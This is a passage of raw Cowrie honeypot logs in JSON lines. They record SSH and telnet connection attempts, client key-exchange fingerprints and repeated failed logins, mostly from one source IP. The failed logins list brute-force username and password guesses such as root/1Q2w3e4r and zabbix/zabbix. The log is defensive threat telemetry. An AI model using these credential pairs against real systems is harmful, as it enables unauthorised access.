sh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:49.456939Z","src_ip":"95.38.165.118","session":"0b304d44eeb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:50.284482Z","src_ip":"95.38.165.118","session":"0b304d44eeb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.52322697639465,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:50.421813Z","src_ip":"69.4.83.194","session":"856979a3bea3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:51.449947Z","src_ip":"95.38.165.118","session":"0b304d44eeb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":53130,"dst_ip":"10.17.0.5","dst_port":22,"session":"124c669638a8","protocol":"ssh","message":"New connection: 95.38.165.118:53130 (10.17.0.5:22) [session: 124c669638a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:54.317214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:54.329098Z","src_ip":"95.38.165.118","session":"124c669638a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:54.489061Z","src_ip":"95.38.165.118","session":"124c669638a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:55.218128Z","src_ip":"95.38.165.118","session":"124c669638a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:57.224501Z","src_ip":"95.38.165.118","session":"124c669638a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":51846,"dst_ip":"10.17.0.5","dst_port":22,"session":"f12ea8eac6fe","protocol":"ssh","message":"New connection: 95.38.165.118:51846 (10.17.0.5:22) [session: f12ea8eac6fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:00.578268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:00.590810Z","src_ip":"95.38.165.118","session":"f12ea8eac6fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:00.765732Z","src_ip":"95.38.165.118","session":"f12ea8eac6fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":51854,"dst_ip":"10.17.0.5","dst_port":22,"session":"132dc4d94043","protocol":"ssh","message":"New connection: 95.38.165.118:51854 (10.17.0.5:22) [session: 132dc4d94043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:04.686992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:04.692815Z","src_ip":"95.38.165.118","session":"132dc4d94043","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:04.861315Z","src_ip":"95.38.165.118","session":"132dc4d94043","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:05.353820Z","src_ip":"95.38.165.118","session":"132dc4d94043","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:06.518100Z","src_ip":"95.38.165.118","session":"132dc4d94043","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":33544,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f799d9305bb","protocol":"ssh","message":"New connection: 147.45.197.250:33544 (159.203.135.109:22) [session: 9f799d9305bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:07.281721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:07.286929Z","src_ip":"147.45.197.250","session":"9f799d9305bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:07.386821Z","src_ip":"147.45.197.250","session":"9f799d9305bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19021991","message":"login attempt [root/19021991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:07.672479Z","src_ip":"147.45.197.250","session":"9f799d9305bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:08.764696Z","src_ip":"147.45.197.250","session":"9f799d9305bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":44762,"dst_ip":"10.17.0.5","dst_port":22,"session":"1331edb93a07","protocol":"ssh","message":"New connection: 95.38.165.118:44762 (10.17.0.5:22) [session: 1331edb93a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:09.704022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:09.823568Z","src_ip":"95.38.165.118","session":"1331edb93a07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:10.628618Z","src_ip":"95.38.165.118","session":"1331edb93a07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:11.617432Z","src_ip":"95.38.165.118","session":"1331edb93a07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:11.935056Z","src_ip":"95.38.165.118","session":"f12ea8eac6fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.5","message":"Connection lost after 12.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:13.104757Z","src_ip":"95.38.165.118","session":"f12ea8eac6fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:14.047521Z","src_ip":"95.38.165.118","session":"1331edb93a07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":44766,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cfd61a1d873","protocol":"ssh","message":"New connection: 95.38.165.118:44766 (10.17.0.5:22) [session: 0cfd61a1d873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:14.989328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:15.055869Z","src_ip":"95.38.165.118","session":"0cfd61a1d873","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:15.211959Z","src_ip":"95.38.165.118","session":"0cfd61a1d873","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:17.035763Z","src_ip":"95.38.165.118","session":"0cfd61a1d873","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:18.223000Z","src_ip":"95.38.165.118","session":"0cfd61a1d873","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55392,"dst_ip":"159.203.135.109","dst_port":23,"session":"140f0a7892f8","protocol":"telnet","message":"New connection: 69.4.83.194:55392 (159.203.135.109:23) [session: 140f0a7892f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:19.369207Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":38772,"dst_ip":"10.17.0.5","dst_port":22,"session":"acdf78d3534a","protocol":"ssh","message":"New connection: 95.38.165.118:38772 (10.17.0.5:22) [session: acdf78d3534a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:20.152723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:20.182348Z","src_ip":"95.38.165.118","session":"acdf78d3534a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:20.315006Z","src_ip":"95.38.165.118","session":"acdf78d3534a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:21.424828Z","src_ip":"95.38.165.118","session":"acdf78d3534a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:23.297874Z","src_ip":"95.38.165.118","session":"acdf78d3534a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.60501027107239,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:23.656561Z","src_ip":"178.128.93.180","session":"167fb97ce965","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":38784,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c7f3bc98e2a","protocol":"ssh","message":"New connection: 95.38.165.118:38784 (10.17.0.5:22) [session: 5c7f3bc98e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:25.211645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:25.217996Z","src_ip":"95.38.165.118","session":"5c7f3bc98e2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 